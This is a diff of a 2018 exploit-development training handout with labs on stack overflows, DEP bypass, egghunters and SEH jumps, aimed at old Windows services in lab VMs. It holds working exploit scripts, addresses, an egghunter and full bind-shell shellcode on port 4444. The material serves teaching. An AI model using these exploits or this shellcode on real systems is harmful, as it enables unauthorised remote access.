SHOW:
|
|
- or go back to the newest paste.
1 | - | Exploit Development 2018 |
1 | + | San Diego Exploit Development 2018 |
2 | ||
3 | Whitepapers of interest: | |
4 | https://www.sans.org/reading-room/whitepapers/firewalls/tactical-data-diodes-industrial-automation-control-systems-36057 | |
5 | ||
6 | ||
7 | ||
8 | ||
9 | ||
10 | ####################### | |
11 | # VMs for this course # | |
12 | ####################### | |
13 | https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip | |
14 | username: workshop | |
15 | password: password | |
16 | ||
17 | https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip | |
18 | user: infosecaddicts | |
19 | pass: infosecaddicts | |
20 | ||
21 | You don't have to, but you can do the updates in the Win7 VM (yes, it is a lot of updates). | |
22 | ||
23 | ||
24 | ||
25 | ||
26 | ||
27 | ####################################################### | |
28 | # Files you may find helpful for learning Exploit Dev # | |
29 | ####################################################### | |
30 | https://s3.amazonaws.com/secureninja/files/slides.zip | |
31 | https://s3.amazonaws.com/secureninja/files/ExploitDevProcessDocs.zip | |
32 | ||
33 | ||
34 | ##################################### | |
35 | # Quick Stack Based Buffer Overflow # | |
36 | ##################################### | |
37 | ||
38 | - You can download everything you need for this exercise (except netcat) from the link below | |
39 | https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip | |
40 | ||
41 | - Extract this zip file to your Desktop | |
42 | ||
43 | - Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe | |
44 | ||
45 | - Open a new command prompt and type: | |
46 | ||
47 | ---------------------------Type This----------------------------------- | |
48 | ||
49 | nc localhost 9999 | |
50 | ----------------------------------------------------------------------- | |
51 | ||
52 | - In the new command prompt window where you ran nc type: | |
53 | HELP | |
54 | ||
55 | - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts | |
56 | - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++ | |
57 | ||
58 | - Now double-click on 1-simplefuzzer.py | |
59 | - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on. | |
60 | ||
61 | ||
62 | - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on. | |
63 | ||
64 | - Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe | |
65 | ||
66 | - Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py. | |
67 | ||
68 | - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s). | |
69 | ||
70 | - Now isolate the crash by restarting your debugger and running script 2-3000chars.py | |
71 | ||
72 | - Calculate the distance to EIP by running script 3-3000chars.py | |
73 | - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338 | |
74 | ||
75 | 4-count-chars-to-EIP.py | |
76 | - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39) | |
77 | - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it | |
78 | ||
79 | 5-2006char-eip-check.py | |
80 | - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242 | |
81 | ||
82 | 6-jmp-esp.py | |
83 | - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll | |
84 | ||
85 | 7-first-exploit | |
86 | - In this script we actually do the stack overflow and launch a bind shell on port 4444 | |
87 | ||
88 | 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host. | |
89 | ||
90 | ||
91 | ---------------------------Type This----------------------------------- | |
92 | ||
93 | cd /home/infosecaddicts/toolz/metasploit/modules/exploits/windows/misc | |
94 | ||
95 | vi vulnserv.rb (paste the code into this file) | |
96 | ||
97 | ||
98 | cd ~/toolz/metasploit | |
99 | - | --------------------------------------------------------------------------------- |
99 | + | |
100 | ./msfconsole | |
101 | ||
102 | - | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have covered so far. Make the subject of the email "First Name - Last Name - Exploit Dev Day 1 Homework" (ex: Joseph - McCray - Exploit Dev Day 1 Homework). |
102 | + | |
103 | ||
104 | - | Also be sure to name the attached file "FirstName_LastName_Exploit_Dev_Day_1_Homework.docx" (Joseph_McCray_Exploit_Dev_Day_1_Homework.docx). |
104 | + | |
105 | set PAYLOAD windows/meterpreter/bind_tcp | |
106 | - | NOTE: This is what is required in order to receive your certificate of completion and CPEs. |
106 | + | |
107 | - | --------------------------------------------------------------------------------- |
107 | + | |
108 | exploit | |
109 | - | Day 1 Challenge: |
109 | + | |
110 | - | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of creating a working exploit with WinDBG as the debugger, and using any 2 of the following exploits covered in the links below: |
110 | + | ----------------------------------------------------------------------------------- |
111 | - | http://www.whitelist1.com/2016/11/xstack-overflow-1-exploiting-slmail.html |
111 | + | |
112 | - | http://www.whitelist1.com/2016/11/xstack-overflow-2-exploiting-freesshd.html |
112 | + | Watch the following videos and take notes for questions tomorrow. |
113 | - | http://www.whitelist1.com/2016/11/xstack-overflow-3-exploiting-minishare.html |
113 | + | |
114 | - | http://www.whitelist1.com/2016/11/xstack-overflow-4-exploiting-blaze-dvd.html |
114 | + | http://www.securitytube.net/video/1389 |
115 | - | http://www.whitelist1.com/2016/11/xstack-overflow-5-exploiting-free-float.html |
115 | + | http://www.securitytube.net/video/1398 |
116 | - | http://www.whitelist1.com/2016/11/stack-overflow-6-exploiting-aviosoft.html |
116 | + | http://www.securitytube.net/video/1399 |
117 | - | http://www.whitelist1.com/2016/11/stack-overflow-7-exploiting-microp_52.html |
117 | + | |
118 | - | http://www.whitelist1.com/2016/11/stack-overflow-8-exploiting-crossfire.html |
118 | + | |
119 | - | https://windowsexploit.com/blog/2016/12/29/windows-exploit-slmail |
119 | + | |
120 | ----------------------------------------------------------------------------------------------------------------------- | |
121 | - | Also be sure to name the attached file "FirstName_LastName_Exploit_Dev_Day_1_Challenge.docx" (Joseph_McCray_Exploit_Dev_Day_1_Challenge.docx). |
121 | + | |
122 | ######### | |
123 | # Day 2 # | |
124 | - | NOTE: |
124 | + | ######### |
125 | - | You can download WinDBG from this link: |
125 | + | You can download the Secure Ninja courseware here: |
126 | - | First download and install Microsoft .NET Framework 4 Client Profile from: |
126 | + | https://s3.amazonaws.com/secureninja/files/SecureNinja+-+64-bit+Windows+Exploit+Development+Course.docx |
127 | - | https://www.microsoft.com/en-us/download/details.aspx?id=24872 |
127 | + | |
128 | ||
129 | - | Download winsdk_web.exe from the below link. |
129 | + | Morning challenge: |
130 | - | https://www.microsoft.com/en-us/download/details.aspx?id=8279 |
130 | + | Your task is to convert the SLMail 5.5 exploit (https://www.exploit-db.com/exploits/646) to the multiple script format used yesterday with vulnserver. |
131 | ||
132 | - | Follow next steps for installation from this link: |
132 | + | |
133 | ||
134 | - | https://github.com/corelan/windbglib |
134 | + | |
135 | Watch the following videos and take notes for questions tomorrow. | |
136 | - | --------------------------------------------------------------------------------- |
136 | + | http://www.securitytube.net/video/1406 |
137 | http://www.securitytube.net/video/1407 | |
138 | http://www.securitytube.net/video/1408 | |
139 | ||
140 | ||
141 | ||
142 | ||
143 | ----------------------------------------------------------------------------------------------------------------------- | |
144 | ||
145 | ######### | |
146 | - | --------------------------------------------------------------------------------- |
146 | + | # Day 3 # |
147 | ######### | |
148 | You can download the Secure Ninja courseware here: | |
149 | - | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have covered so far. Make the subject of the email "First Name - Last Name - Exploit Dev Day 1 Homework" (ex: Joseph - McCray - Exploit Dev Day 2 Homework). |
149 | + | https://s3.amazonaws.com/secureninja/files/SecureNinja+-+64-bit+Windows+Exploit+Development+Course.docx |
150 | ||
151 | - | Also be sure to name the attached file "FirstName_LastName_Exploit_Dev_Day_2_Homework.docx" (Joseph_McCray_Exploit_Dev_Day_2_Homework.docx). |
151 | + | |
152 | Morning challenge: | |
153 | - | NOTE: This is what is required in order to receive your certificate of completion and CPEs. |
153 | + | Your task is to convert the Easy File Sharing Web Server 7.2 exploit (https://www.exploit-db.com/exploits/39008/) to the multiple script format used with vulnserver and SLMail on your Windows 7 host machine. |
154 | - | --------------------------------------------------------------------------------- |
154 | + | |
155 | NOTE: If you did the SMail exploit on Windows XP yesterday, then please do it on Windows 7 today prior to doing the Easy File Sharing Web Server 7.2 exploit. | |
156 | - | Day 2 Challenge: |
156 | + | |
157 | - | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of creating a working exploit with WinDBG as the debugger, and using any 2 of the following exploits covered in the links below: |
157 | + | |
158 | - | http://www.whitelist1.com/2016/11/xstack-overflow-1-exploiting-slmail.html |
158 | + | |
159 | - | http://www.whitelist1.com/2016/11/xstack-overflow-2-exploiting-freesshd.html |
159 | + | |
160 | - | http://www.whitelist1.com/2016/11/xstack-overflow-3-exploiting-minishare.html |
160 | + | Watch the following videos and take notes for questions tomorrow. |
161 | - | http://www.whitelist1.com/2016/11/xstack-overflow-4-exploiting-blaze-dvd.html |
161 | + | https://s3.amazonaws.com/secureninja/videos/0006-Intro-to-Mona.mp4 |
162 | - | http://www.whitelist1.com/2016/11/xstack-overflow-5-exploiting-free-float.html |
162 | + | https://s3.amazonaws.com/secureninja/videos/0007-Mona-continued.mp4 |
163 | - | http://www.whitelist1.com/2016/11/stack-overflow-6-exploiting-aviosoft.html |
163 | + | https://s3.amazonaws.com/secureninja/videos/0014-DEP-Basics.mp4 |
164 | - | http://www.whitelist1.com/2016/11/stack-overflow-7-exploiting-microp_52.html |
164 | + | https://s3.amazonaws.com/secureninja/videos/0015-Bypassing-DEP-using-ROP-chains.mp4 |
165 | - | http://www.whitelist1.com/2016/11/stack-overflow-8-exploiting-crossfire.html |
165 | + | |
166 | - | https://windowsexploit.com/blog/2016/12/29/windows-exploit-slmail |
166 | + | |
167 | ||
168 | - | Also be sure to name the attached file "FirstName_LastName_Exploit_Dev_Day_2_Challenge.docx" (Joseph_McCray_Exploit_Dev_Day_2_Challenge.docx). |
168 | + | ######### |
169 | # Day 4 # | |
170 | - | --------------------------------------------------------------------------------- |
170 | + | ######### |
171 | You can download the Secure Ninja courseware here: | |
172 | https://s3.amazonaws.com/secureninja/files/SecureNinja+-+64-bit+Windows+Exploit+Development+Course.docx | |
173 | ||
174 | ||
175 | Morning challenge: | |
176 | Your task is to convert the Konica Minolta exploit (https://www.exploit-db.com/exploits/39215/, https://www.exploit-db.com/exploits/38252/, https://www.exploit-db.com/exploits/38254/) to the multiple script format used with vulnserver, SLMail, and Easy File Sharing Web Server 7.2 on your Windows 7 host machine. | |
177 | - | --------------------------------------------------------------------------------- |
177 | + | |
178 | ||
179 | ||
180 | - | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have covered so far. Make the subject of the email "First Name - Last Name - Exploit Dev Day 3 Homework" (ex: Joseph - McCray - Exploit Dev Day 3 Homework). |
180 | + | ------------------------------------------------------------------- |
181 | All of the content | |
182 | - | Also be sure to name the attached file "FirstName_LastName_Exploit_Dev_Day_3_Homework.docx" (Joseph_McCray_Exploit_Dev_Day_3_Homework.docx). |
182 | + | |
183 | You can download the Exploit Dev VMs from the links below: | |
184 | - | NOTE: This is what is required in order to receive your certificate of completion and CPEs. |
184 | + | https://s3.amazonaws.com/infosecaddictsvirtualmachines/XPSP3-ED-Target.zip |
185 | - | --------------------------------------------------------------------------------- |
185 | + | https://s3.amazonaws.com/infosecaddictsvirtualmachines/Strategicsec-XP-ED-Attack-Host.zip |
186 | user: Administrator | |
187 | - | Day 3 Challenge: |
187 | + | pass: strategicsec |
188 | - | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of creating a working exploit with WinDBG as the debugger, and using any 2 of the following exploits covered in the links below: |
188 | + | |
189 | - | http://buffered.io/posts/myftpd-exploit-on-windows-7/ |
189 | + | https://s3.amazonaws.com/infosecaddictsvirtualmachines/StrategicsecUbuntu-v3.zip |
190 | - | https://windowsexploit.com/blog/2017/1/8/exploit-easy-file-sharing-web-server-v-72-remote-seh-based-get-request-overflow |
190 | + | user: strategicsec |
191 | - | https://ketansingh.net/pwning-with-seh-based-buffer-overflows/ |
191 | + | pass: strategicsec |
192 | ||
193 | - | Also be sure to name the attached file "FirstName_LastName_Exploit_Dev_Day_3_Challenge.docx" (Joseph_McCray_Exploit_Dev_Day_3_Challenge.docx). |
193 | + | |
194 | https://s3.amazonaws.com/infosecaddictsvirtualmachines/asterisk.zip | |
195 | user: exploitlab | |
196 | pass: exploitlab | |
197 | ||
198 | ||
199 | - | --------------------------------------------------------------------------------- |
199 | + | All of the exploit script listed below is contained in the following zip file. Please download it to your XP-ED-Attack-Host VM. The password for the zip file is: joemccray |
200 | ||
201 | - | Day 4 Homework: |
201 | + | https://s3.amazonaws.com/infosecaddictsfiles/ED-Workshop-Files.zip |
202 | - | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have covered so far. Make the subject of the email "First Name - Last Name - Exploit Dev Day 4 Homework" (ex: Joseph - McCray - Exploit Dev Day 3 Homework). |
202 | + | |
203 | ########################### | |
204 | - | Also be sure to name the attached file "FirstName_LastName_Exploit_Dev_Day_4_Homework.docx" (Joseph_McCray_Exploit_Dev_Day_4_Homework.docx). |
204 | + | # Lab 1a: Stack Overflows # |
205 | ########################### | |
206 | - | NOTE: This is what is required in order to receive your certificate of completion and CPEs. |
206 | + | |
207 | - | --------------------------------------------------------------------------------- |
207 | + | ################################# |
208 | # Start WarFTPd # | |
209 | - | Day 4 Challenge: |
209 | + | # Start WinDBG # |
210 | - | Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of creating a working exploit with WinDBG as the debugger, and using any 2 of the following exploits covered in the links below: |
210 | + | # Press F6 # |
211 | # Attach to war-ftpd.exe # | |
212 | - | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/ (DEP Bypass section of this blog) |
212 | + | ################################# |
213 | ||
214 | - | Also be sure to name the attached file "FirstName_LastName_Exploit_Dev_Day_4_Challenge.docx" (Joseph_McCray_Exploit_Dev_Day_4_Challenge.docx). |
214 | + | |
215 | ||
216 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a | |
217 | ||
218 | ||
219 | python warftpd1.py | nc XPSP3-ED-Target-IP 21 | |
220 | ----------------------------------------------------------------------- | |
221 | ||
222 | At WINDBG prompt | |
223 | “r” to show registers or “alt+4” | |
224 | ||
225 | ---------------------------Type This----------------------------------- | |
226 | ||
227 | dd esp | |
228 | ----------------------------------------------------------------------- | |
229 | ||
230 | ---------------------------Type This----------------------------------- | |
231 | ||
232 | python warftpd2.py | nc XPSP3-ED-Target-IP 21 | |
233 | ----------------------------------------------------------------------- | |
234 | ||
235 | ||
236 | At WINDBG prompt | |
237 | “r” to show registers or “alt+4” | |
238 | ||
239 | ---------------------------Type This----------------------------------- | |
240 | ||
241 | dd esp | |
242 | ----------------------------------------------------------------------- | |
243 | ||
244 | Eip: 32714131 | |
245 | esp: affd58 (71413471) | |
246 | ||
247 | Now we need to SSH into the StrategicSec Ubuntu host | |
248 | ||
249 | ---------------------------Type This----------------------------------- | |
250 | ||
251 | cd /home/strategicsec/toolz/metasploit/tools | |
252 | ||
253 | ruby pattern_offset.rb 32714131 | |
254 | 485 | |
255 | ||
256 | ruby pattern_offset.rb 71413471 | |
257 | 493 | |
258 | ----------------------------------------------------------------------- | |
259 | ||
260 | Distance to EIP is: 485 | |
261 | Relative position of ESP is: 493 | |
262 | ||
263 | RET – POP EIP | |
264 | RET 4 – POP EIP and shift ESP down by 4 bytes | |
265 | ||
266 | ---------------------------Type This----------------------------------- | |
267 | ||
268 | cd /home/strategicsec/toolz/metasploit/ | |
269 | ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | |
270 | ----------------------------------------------------------------------- | |
271 | ||
272 | 0x7c9c167d push esp; retn 0x304d | |
273 | 0x7c9d30d7 jmp esp < - how about we use this one | |
274 | 0x7c9d30eb jmp esp | |
275 | 0x7c9d30ff jmp esp | |
276 | ||
277 | ||
278 | warftpd3.py with Notepad++ | |
279 | Fill in the appropriate values | |
280 | Distance to EIP | |
281 | Address of JMP ESP | |
282 | ||
283 | ||
284 | ---------------------------Type This----------------------------------- | |
285 | ||
286 | python warftpd3.py | nc XPSP3-ED-Target-IP 21 | |
287 | ||
288 | 0:003> dd eip | |
289 | 0:003> dd esp | |
290 | ----------------------------------------------------------------------- | |
291 | ||
292 | ||
293 | ||
294 | ||
295 | ||
296 | Mention bad characters | |
297 | No debugger | |
298 | ||
299 | ||
300 | ---------------------------Type This----------------------------------- | |
301 | ||
302 | python warftpd4.py | nc XPSP3-ED-Target-IP 21 | |
303 | ||
304 | nc XPSP3-ED-Target-IP 4444 | |
305 | ----------------------------------------------------------------------- | |
306 | ||
307 | ||
308 | ||
309 | ########################################### | |
310 | # Lab 1b: Stack Overflows with DEP Bypass # | |
311 | ########################################### | |
312 | ||
313 | Reboot your target host and choose the "2nd" option for DEP. | |
314 | ||
315 | ||
316 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b | |
317 | ||
318 | ||
319 | ---------------------------Type This----------------------------------- | |
320 | ||
321 | python warftpd1.py | nc XPSP3-ED-Target-IP 21 | |
322 | ||
323 | At WINDBG prompt | |
324 | “r” to show registers or “alt+4” | |
325 | ||
326 | dd esp | |
327 | ||
328 | ||
329 | ||
330 | ||
331 | python warftpd2.py | nc XPSP3-ED-Target-IP 21 | |
332 | ||
333 | ||
334 | At WINDBG prompt | |
335 | “r” to show registers or “alt+4” | |
336 | dd esp | |
337 | ----------------------------------------------------------------------- | |
338 | ||
339 | Eip: 32714131 | |
340 | esp: affd58 (71413471) | |
341 | ||
342 | Now we need to SSH into the StrategicSec Ubuntu host | |
343 | ||
344 | ---------------------------Type This----------------------------------- | |
345 | ||
346 | cd /home/strategicsec/toolz/metasploit/tools | |
347 | ||
348 | ruby pattern_offset.rb 32714131 | |
349 | 485 | |
350 | ||
351 | ruby pattern_offset.rb 71413471 | |
352 | 493 | |
353 | ||
354 | ||
355 | ||
356 | ||
357 | ||
358 | ||
359 | ||
360 | ||
361 | cd /home/strategicsec/toolz/metasploit/tools | |
362 | ||
363 | ruby pattern_offset.rb 32714131 | |
364 | ||
365 | cd /home/strategicsec/toolz/metasploit/ | |
366 | ||
367 | ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7 | |
368 | ||
369 | ||
370 | ||
371 | python warftpd3.py | nc XPSP3-ED-Target-IP 21 | |
372 | ||
373 | 0:003> dd eip | |
374 | 0:003> dd esp | |
375 | ||
376 | INT3s - GOOD!!!!!!! | |
377 | ||
378 | ||
379 | ||
380 | python warftpd4.py | nc XPSP3-ED-Target-IP 21 | |
381 | ||
382 | nc XPSP3-ED-Target-IP 4444 | |
383 | ----------------------------------------------------------------------- | |
384 | ||
385 | ||
386 | strategicsec....exploit no workie!!!! | |
387 | ||
388 | ||
389 | Why????????? DEP!!!!!!!!!!!!! | |
390 | ||
391 | ||
392 | ||
393 | ||
394 | Let's look through ole32.dll for the following instructions: | |
395 | ||
396 | mov al,0x1 | |
397 | ret 0x4 | |
398 | ||
399 | We need to set al to 0x1 for the LdrpCheckNXCompatibility routine. | |
400 | ||
401 | ||
402 | ---------------------------Type This----------------------------------- | |
403 | ||
404 | ./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll | |
405 | ----------------------------------------------------------------------- | |
406 | ||
407 | [DLLs/xpsp3/ole32.dll] | |
408 | 0x775ee00e b001c204 | |
409 | 0x775ee00e mov al, 1 | |
410 | 0x775ee010 ret 4 | |
411 | ||
412 | ||
413 | Then we need to jump to the LdrpCheckNXCompatibility routine in | |
414 | ntdll.dll that disables DEP. | |
415 | ||
416 | ||
417 | ||
418 | Inside of ntdll.dll we need to find the following instructions: | |
419 | ||
420 | CMP AL,1 | |
421 | PUSH 2 | |
422 | POP ESI | |
423 | JE ntdll.7 | |
424 | ||
425 | ||
426 | ---------------------------Type This----------------------------------- | |
427 | ||
428 | ./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll | |
429 | ----------------------------------------------------------------------- | |
430 | ||
431 | [DLLs/xpsp3/ntdll.dll] | |
432 | 0x7c91cd24 3c016a025e0f84 | |
433 | 0x7c91cd24 cmp al, 1 | |
434 | 0x7c91cd26 push 2 | |
435 | 0x7c91cd28 pop esi | |
436 | 0x7c91cd29 jz 7 | |
437 | ||
438 | ||
439 | This set of instructions makes sure that AL is set to 1, 2 is pushed | |
440 | on the stack then popped into ESI. | |
441 | ||
442 | ||
443 | ||
444 | ||
445 | ---------------------------Type This----------------------------------- | |
446 | ||
447 | dep = "\x0e\xe0\x5e\x77"+\ | |
448 | "\xff\xff\xff\xff"+\ | |
449 | "\x24\xcd\x91\x7c"+\ | |
450 | "\xff\xff\xff\xff"+\ | |
451 | "A"*0x54 | |
452 | ||
453 | ||
454 | ||
455 | ||
456 | python warftpd5.py | nc XPSP3-ED-Target-IP 21 | |
457 | ||
458 | nc XPSP3-ED-Target-IP 4444 | |
459 | ----------------------------------------------------------------------- | |
460 | ||
461 | ||
462 | ######################################## | |
463 | # Lab 2a: Not Enough Space (Egghunter) # | |
464 | ######################################## | |
465 | ||
466 | ---------------------------Type This----------------------------------- | |
467 | ||
468 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton | |
469 | ----------------------------------------------------------------------- | |
470 | ||
471 | SWS - SIMPLE WEB SERVER | |
472 | ----------------------- | |
473 | ||
474 | Running SWS on Strategicsec-XP-ED-Target-VM | |
475 | Start > Programs > Simple Web Server (it's in the middle somewhere) | |
476 | Red icon in system tray | |
477 | Double click it | |
478 | - it will pop up a menu | |
479 | - select "start" | |
480 | - dialog box shows starting params - port 82 | |
481 | ||
482 | WinDBG | |
483 | - attach to "server.exe" | |
484 | ||
485 | ---------------------------Type This----------------------------------- | |
486 | ||
487 | python sws1.py | nc XPSP3-ED-Target-IP 82 | |
488 | ||
489 | ||
490 | ||
491 | python sws2.py | nc XPSP3-ED-Target-IP 82 | |
492 | ||
493 | ||
494 | SSH into the Ubuntu host (user: strategicsec/pass: strategicsec) | |
495 | cd /home/strategicsec/toolz/metasploit/tools | |
496 | ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225 | |
497 | ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229 | |
498 | ||
499 | ----------------------------------------------------------------------- | |
500 | ||
501 | ||
502 | ||
503 | ||
504 | ||
505 | ||
506 | ||
507 | EGGHUNTER: | |
508 | ---------- | |
509 | ||
510 | "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74" | |
511 | "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" | |
512 | ^^^^^^^^^^^^^^^^ | |
513 | ABBA | |
514 | JMP ESP | |
515 | / | |
516 | / | |
517 | GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0 | |
518 | User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded) | |
519 | ||
520 | ||
521 | ||
522 | ||
523 | -----sws3.py----- | |
524 | #!/usr/bin/python2 | |
525 | ||
526 | import os # for output setting | |
527 | import sys | |
528 | import struct # for pack function | |
529 | ||
530 | # turn off output buffer and set binary mode | |
531 | sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0) | |
532 | ||
533 | ||
534 | pad = "A" * 225 # distance to EIP | |
535 | eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll | |
536 | ||
537 | egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74" | |
538 | egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" | |
539 | ||
540 | shellcode = "\xCC" * 700 | |
541 | ||
542 | buf = "GET /" | |
543 | buf += pad + struct.pack('<I', eip) + egghunter | |
544 | buf += " HTTP/1.0\r\n" | |
545 | buf += "User-Agent: ABBAABBA" | |
546 | buf += shellcode | |
547 | buf += " HTTP/1.0\r\n" | |
548 | ||
549 | sys.stdout.write(buf) | |
550 | ----- | |
551 | ||
552 | ############################################ | |
553 | # Lab 2b: Not Enough Space (Negative Jump) # | |
554 | ############################################ | |
555 | ||
556 | ---------------------------Type This----------------------------------- | |
557 | ||
558 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton | |
559 | ||
560 | ----------------------------------------------------------------------- | |
561 | ||
562 | [pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"] | |
563 | ||
564 | ^ | |
565 | 1 ----------------------1 overflow the buffer---------------------------| | |
566 | ||
567 | ^ ^ | |
568 | | | |
569 | 2 ----jump over seh record---| | |
570 | ||
571 | ^ ^ | |
572 | | | |
573 | 3--POP 2 words off stack---| | |
574 | ||
575 | ^ | |
576 | 4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------| | |
577 | ||
578 | ||
579 | ######################################### | |
580 | # Lab 2c: Not Enough Space (Trampoline) # | |
581 | ######################################### | |
582 | ||
583 | ---------------------------Type This----------------------------------- | |
584 | ||
585 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton | |
586 | ----------------------------------------------------------------------- | |
587 | ||
588 | ||
589 | On the Strategicsec-XP-ED-Target-VM VM | |
590 | ||
591 | - open a command prompt | |
592 | - c:\software\tftpd32 | |
593 | - run tftpd32.exe | |
594 | - UDP port 69 | |
595 | (socket code is already in the scripts) | |
596 | ||
597 | ||
598 | ||
599 | ||
600 | On your attack host please install: | |
601 | ||
602 | ||
603 | NASM - Netwide Assembler | |
604 | ||
605 | ||
606 | ||
607 | ||
608 | ||
609 | ----------------------------------------------------------------------------------------------------------------- | |
610 | ||
611 | ||
612 | We want to generate the shellcode (BIND SHELL on Port 4444) | |
613 | - No restricted characters | |
614 | - Encoder: NONE | |
615 | ||
616 | Create a Python file called dumpshellcode.py | |
617 | ||
618 | --- | |
619 | #!/usr/bin/python2 | |
620 | ||
621 | import os | |
622 | import sys | |
623 | import struct | |
624 | ||
625 | ||
626 | # win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com | |
627 | shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" | |
628 | shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" | |
629 | shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" | |
630 | shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" | |
631 | shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" | |
632 | shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" | |
633 | shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" | |
634 | shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" | |
635 | shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" | |
636 | shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" | |
637 | shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" | |
638 | shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" | |
639 | shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" | |
640 | shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" | |
641 | shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" | |
642 | shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" | |
643 | shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" | |
644 | shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" | |
645 | shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" | |
646 | shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0" | |
647 | ||
648 | sys.stdout.write(shellcode) | |
649 | --- | |
650 | ||
651 | ||
652 | ||
653 | python dumpshell.py > bindshell.bin | |
654 | ||
